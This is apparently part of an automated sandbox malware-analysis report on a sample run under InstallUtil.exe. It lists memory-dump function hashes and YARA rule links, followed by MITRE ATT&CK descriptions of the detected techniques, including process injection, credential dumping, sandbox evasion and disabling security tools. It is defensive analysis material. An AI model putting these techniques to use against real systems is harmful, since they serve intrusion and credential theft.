Snapshot File: hcaresult_16_2_130d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0daf99135de80b9bdf90bbb4bca3100a660131542bdc5c0a36e6e76571c6c1ce
Instruction ID: 1b438078807d608ea336808c966b129949d29d9d09ce059e2a64745d5dd4ccb9
Opcode Fuzzy Hash: 0daf99135de80b9bdf90bbb4bca3100a660131542bdc5c0a36e6e76571c6c1ce
Instruction Fuzzy Hash: C821F571504204DFDB16DF98D9D0B26BFE9FB84318F24C569D9090B296C73AD416C7B2

Function 06D05F2D Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 532fb193dea698cf701401ea9960716003db9449172eb88d36eac935c3af2cbd
Instruction ID: 4f6cc6ad37d0dec963602cf1e76b3d19588844c5464ff8aa83b292df2381b2af
Opcode Fuzzy Hash: 532fb193dea698cf701401ea9960716003db9449172eb88d36eac935c3af2cbd
Instruction Fuzzy Hash: 70318274900229CFEBA5CF28C984E99B7F1FB09304F1086E6D84CA7751DA349E85CF51

Function 0130D043 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2438570873.000000000130D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0130D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_130d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 523fabb44b02fcaa1064eae8d9a10a48e2cd5a800d24befd30ec8c8c27650fb1
Instruction ID: 2f64c0df622ea7c4bb845819fd6cd2cd1836b835109b54c9b4a3927f70f4f94b
Opcode Fuzzy Hash: 523fabb44b02fcaa1064eae8d9a10a48e2cd5a800d24befd30ec8c8c27650fb1
Instruction Fuzzy Hash: 92112276504280CFCB07CF44D9C4B16BFB2FB84314F24C2A9D8090B696C33AD41ACBA2

Function 012FD76D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2438443160.00000000012FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12fd000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bc51f4f63a160ac9e71848f45edba7393135d007194129807298f99ead2f0dd
Instruction ID: db5208b77b0b1b295e9ae740ddebca8b3ebdbae81e9913f8b5ebd2c452cfecb0
Opcode Fuzzy Hash: 1bc51f4f63a160ac9e71848f45edba7393135d007194129807298f99ead2f0dd
Instruction Fuzzy Hash: EB01A7310183889AE7149A59D984B66FF9CEF45324F18C53DEF090E286C3799840CA71

Function 06A59F88 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 728a724468a12c97c2c9fa2f261fc5e2939a41d098215f8fa625d6cd89393068
Instruction ID: c6bf75398f094a124a12d6fd36aec8d923a4096f260461297bf25cb5192f57ae
Opcode Fuzzy Hash: 728a724468a12c97c2c9fa2f261fc5e2939a41d098215f8fa625d6cd89393068
Instruction Fuzzy Hash: BEF02B22F0D2C19FE352972858507266BA1CF96200F1A40DBE5868F2A1DA66880BC361

Function 012FD76C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2438443160.00000000012FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12fd000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca4dff5abcc637e7862e054e39615d84b49e1801ac1c3e937ab82f929ce94dde
Instruction ID: c5115c8fbfa87939576d729a8d23896818209c45a0b6ce2be6d34b2ba43b43c7
Opcode Fuzzy Hash: ca4dff5abcc637e7862e054e39615d84b49e1801ac1c3e937ab82f929ce94dde
Instruction Fuzzy Hash: 91F062714043889EE7158E1AD884B62FF9CEF85624F18C56AEE494F686C3799844CAB1

Function 06D03938 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 004737d05d1bda3c24a152dfd15e404f472f22df43bd1943eab96d6340c96694
Instruction ID: 37371b02a0cb59b02d68c8f887aacde45c6ab97dbb4cb7a9a988a45f3c6a4ebf
Opcode Fuzzy Hash: 004737d05d1bda3c24a152dfd15e404f472f22df43bd1943eab96d6340c96694
Instruction Fuzzy Hash: B9016334905229CFEB68CF24D988AE9B7B1BF49300F5141D5E64AA73A0DB745E84CF41

Function 06D00BF9 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53c7417149eb27875208eb8bb0e39cf6375d72bb95493e180d3efa7a315518f9
Instruction ID: 467252c3ec98c338f0da393273545e62fe4f11f9045e86b80ced9dd4963fcd0c
Opcode Fuzzy Hash: 53c7417149eb27875208eb8bb0e39cf6375d72bb95493e180d3efa7a315518f9
Instruction Fuzzy Hash: 99017278A052298FCB65DF15E854AD9BBF1FB48304F1084EAD94DA3745DB345E808F41

Function 06A58FB0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c49fe7b14e37c346cc743d376bd1a24ec946fe00c100a07f619ca72c412b07e6
Instruction ID: 55202d8e17d0ed2f8cf85644077320599d5ba8fc2da6748a51353f1789755237
Opcode Fuzzy Hash: c49fe7b14e37c346cc743d376bd1a24ec946fe00c100a07f619ca72c412b07e6
Instruction Fuzzy Hash: FBF05874D09248AFC780DFA8E4506ADBBF5EB49300F1080EAA89893302D6355A16CF95

Function 06A56681 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2b9f7afbc6e29bdfac55ecd09e667baceaad0ff565b62561a0c5980eed7d1e5
Instruction ID: 8707564e4ede8f416eba66b96ac10365294823b63d115f14bc9ddbe3b35f647e
Opcode Fuzzy Hash: e2b9f7afbc6e29bdfac55ecd09e667baceaad0ff565b62561a0c5980eed7d1e5
Instruction Fuzzy Hash: ADE092B0D1A308DFDB94EFA8E9547AD7FF8EB05202F5010E9D808D3221D6315A50DB91

Function 06A57649 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e856c877654012189a576aa0236870f5a4cd066eabcc586b7f780c09ee52bf00
Instruction ID: 852ce12928595567259866e90b65848e998188b2d5ca106bdd281b6801584b61
Opcode Fuzzy Hash: e856c877654012189a576aa0236870f5a4cd066eabcc586b7f780c09ee52bf00
Instruction Fuzzy Hash: AFF0CF34901219CFDB61DF54D598BACBBB2FB45314F1044AAE909B7340EB3AAD88CF51

Function 06D006AE Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 696026375a099292e09aa16df32fcee73f7d383cbe179627f2eb4e64a975b9a7
Instruction ID: dd8b6aa19e563c226d455f968a004868375e96ece9f228e73ae0d90f561d9d1d
Opcode Fuzzy Hash: 696026375a099292e09aa16df32fcee73f7d383cbe179627f2eb4e64a975b9a7
Instruction Fuzzy Hash: 04F05E30A042159FE790DF64C958BADBBB2FF55304F40C0A9D55AA7682CF341D89CF12

Function 06A57E50 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86b32aeaa11aac5123c0fa13e3895f7f08e395a340568fc104869fb38fb0e380
Instruction ID: f9ee73b47514aeb2461f7224d5c83db99bb402c005156b6351c7e06ca40e78fd
Opcode Fuzzy Hash: 86b32aeaa11aac5123c0fa13e3895f7f08e395a340568fc104869fb38fb0e380
Instruction Fuzzy Hash: DCF06575909248AFC791DFBCD8507E8BFF8DB0A200F1440D9DC4893352D6319A56CB51

Function 06D1A698 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30da07ab85416bfdaf179042b14fb632635f29779e261785947d1fcb9f51fb19
Instruction ID: b4f3fa94ab6fddd8a4c3dffaf1ae7c62c60e60026e64c039c1e812bef08386a2
Opcode Fuzzy Hash: 30da07ab85416bfdaf179042b14fb632635f29779e261785947d1fcb9f51fb19
Instruction Fuzzy Hash: E1E0C274E0A208EFCB84DFA8D540AADBBF5EB58311F14C0AAD808A7341D6769A51DF84

Function 06D1C238 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30da07ab85416bfdaf179042b14fb632635f29779e261785947d1fcb9f51fb19
Instruction ID: a07e2125d42e9f117f5a7444f07d6089b7bc14c866c4d2609192f495e4aad0be
Opcode Fuzzy Hash: 30da07ab85416bfdaf179042b14fb632635f29779e261785947d1fcb9f51fb19
Instruction Fuzzy Hash: 69E0E574E55208EFCB94DFA8D541AADFBF4FB88314F10C0AA9809A7341D6769A51DF80

Function 06D150C0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30da07ab85416bfdaf179042b14fb632635f29779e261785947d1fcb9f51fb19
Instruction ID: e7abc7211c2b0924463bc888b63c8213d405fe4bf2da61930c8baa9d1307ad30
Opcode Fuzzy Hash: 30da07ab85416bfdaf179042b14fb632635f29779e261785947d1fcb9f51fb19
Instruction Fuzzy Hash: 3CE0EDB4D05208EFCB94DFA9E54069CFBF4EB88314F20C0AAA818A7341D6759E51DF80

Function 06A58EAA Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe735556412a8dd397585cf0540ce32b10d1f54e0856a6054bb43a533dcab8a2
Instruction ID: 1a66de51fc77646e1e7ff6654eba09f30ec1a764ec6cb1f80e5d544eaa2eb9d2
Opcode Fuzzy Hash: fe735556412a8dd397585cf0540ce32b10d1f54e0856a6054bb43a533dcab8a2
Instruction Fuzzy Hash: 18E026B480F248EFC711EFB89411BEEBFB8AB02304F5000DDDC4023202CA355965DB95

Function 06A58FC0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36122d2e8870b599928d7410e27e321041154c212cc4be0fd113f9325b447cc7
Instruction ID: a52fee98a9e34fa9b68dbc3adc4afb649a26a2a773a4e7eec80a8fe0eba582bb
Opcode Fuzzy Hash: 36122d2e8870b599928d7410e27e321041154c212cc4be0fd113f9325b447cc7
Instruction Fuzzy Hash: 54E0E574E05208EFCB84EFA8D540AACBBF5FB48300F10C0EA9818A3341D6359A05CF80

Function 06D1ECD8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3bd57ec0bdc049e7d4d2ae9246044596bdb13dbb70f405a4a2369304f58a032
Instruction ID: 864c8c30ce3cb76ed3dd4e91b4b3b069a5e48b0aa8038fb98fa5b0c4c0595c58
Opcode Fuzzy Hash: f3bd57ec0bdc049e7d4d2ae9246044596bdb13dbb70f405a4a2369304f58a032
Instruction Fuzzy Hash: 76E02674808118EFC744CF98E8009ACFFB9AB45300F10C0DADC4457341C6719E41DB94

Function 06D17B70 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3a265f2a6b2e123e8da2db77d51a1c5409b6fe2f85c22c506f31f8280ef66c9
Instruction ID: 3616de25e745a4564a0a80975428c974a20b6853e83bd3bfa7c3fff9b6d0d71d
Opcode Fuzzy Hash: e3a265f2a6b2e123e8da2db77d51a1c5409b6fe2f85c22c506f31f8280ef66c9
Instruction Fuzzy Hash: CDE01A74D09108AFC744DF98D5406ACBBB4AB48310F1080EA985857351D6719A41DB80

Function 06A57E60 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 194d9d08ffc3cab7f4b7a0ef7032564e3f71777500e3b9329460fa3e0e3bedc0
Instruction ID: 446cc96642380418a7c0d14d33ded7a29ce9185fb3d62a6a562819637ce3067d
Opcode Fuzzy Hash: 194d9d08ffc3cab7f4b7a0ef7032564e3f71777500e3b9329460fa3e0e3bedc0
Instruction Fuzzy Hash: FCE0B674D15208EFC784EFA8D9456ACBBF8AB49215F2080E9DC08A7351E7729E52CB81

Function 06D18F00 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d9cde6254f06b2957561c31dd4f2cb577c1fb0b6c14d1f95c96cc817136569
Instruction ID: 82c148127f1696629f9958219d913a79884c98d4601e60aeaec6777bd99f92fa
Opcode Fuzzy Hash: e6d9cde6254f06b2957561c31dd4f2cb577c1fb0b6c14d1f95c96cc817136569
Instruction Fuzzy Hash: 1CE0C270841108EFCB81FFBC9A00A9E77F9EF05300F1004E5C00497111E9714E20D7A2

Function 06D1CD60 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a67d905cb7b258d55cde155a666692f65e0953e686e0fba941f80fe27555621
Instruction ID: 512be3413734570f8895d80cf1ae20f4da24a8039467f63081337d7a82be714f
Opcode Fuzzy Hash: 6a67d905cb7b258d55cde155a666692f65e0953e686e0fba941f80fe27555621
Instruction Fuzzy Hash: D3E0C234E89208EFC744DF98E5415ACBFB8EB86304F1080D9C80817341C7729E02CB81

Function 06A56690 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b1c87ec05c1b9f2cda0d21d7de55651d8c99eb8ecceb85308da52ec1e3be695
Instruction ID: 91ac7124782a18859d9f60a4b81acda0ae8989c78553cf00abac6120e4eb1ee7
Opcode Fuzzy Hash: 8b1c87ec05c1b9f2cda0d21d7de55651d8c99eb8ecceb85308da52ec1e3be695
Instruction Fuzzy Hash: DCE0EC70D16208DFDB94EFA8D55569CBBF8EB04201F5054A9D80893351E6715A50DB41

Function 06A57604 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ed3dc5b5682c644be9c95af32ee74180601ee60d44289477a44809405e8bd7
Instruction ID: 47bca601eabbfb741f8f812f425266afd66e74ba081861b5dd0c76161d3aa51f
Opcode Fuzzy Hash: 81ed3dc5b5682c644be9c95af32ee74180601ee60d44289477a44809405e8bd7
Instruction Fuzzy Hash: 7AE0E574904108DFDB52DF88E188BADBBB2FB40318F500465E601B7791DB399C85CB21

Function 06A576BE Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b20ffc8e6b2b36067d7f0949d18daf389650e6e45b83dad0eae37dd57269c94c
Instruction ID: 1d8dcc95cbc634a3cad3dd8f1c89ea6946d0b8667e5ffe3dfd1c940045a17688
Opcode Fuzzy Hash: b20ffc8e6b2b36067d7f0949d18daf389650e6e45b83dad0eae37dd57269c94c
Instruction Fuzzy Hash: 23E0E534901216EFCBA1DF24D494BADBB72EB85314F1084A9A51AA3740EE301D88CF11

Function 06D1D1C8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47ac728b226221e75d38a5405e7285c8ca38e96642f9b3a4c042a7f9223884ea
Instruction ID: 20bf1d5d7bf658069473ab35802ba1bc6d6c3b042836580ba27fa2a61dfc3b7b
Opcode Fuzzy Hash: 47ac728b226221e75d38a5405e7285c8ca38e96642f9b3a4c042a7f9223884ea
Instruction Fuzzy Hash: 5AC08C2084BA049AC2951748700C37036AF9F07322F401C41690D11012C7E18090C645

Function 06A5379D Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c6a02a6d28f0387cb2a5ad675bd3b9b80c0d8145f354e68d5b38bbca3dfab1e
Instruction ID: 79c366839b364bc6e2eba774a26be240b8af6ab0b9ed09015b94caf9138b0eea
Opcode Fuzzy Hash: 5c6a02a6d28f0387cb2a5ad675bd3b9b80c0d8145f354e68d5b38bbca3dfab1e
Instruction Fuzzy Hash: 4CD0C9709416598FDBA0DF14ED84B897BB6FF01345F2085E98109B3165CF382E88CF15

Function 06D02A10 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 595ec1e7381414940b0c36555c536c53da6c74dca2ca9d33bb5f6f21b84eec3c
Instruction ID: 099a93d964ea70e3b0e6ccdb48adbe6da0213f386dac9ec3586dc16bf094ff10
Opcode Fuzzy Hash: 595ec1e7381414940b0c36555c536c53da6c74dca2ca9d33bb5f6f21b84eec3c
Instruction Fuzzy Hash: EEC04C349012199BEB64CB30CC88BA9B672EF49305F41D8D5955A62181CB784B849E01

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

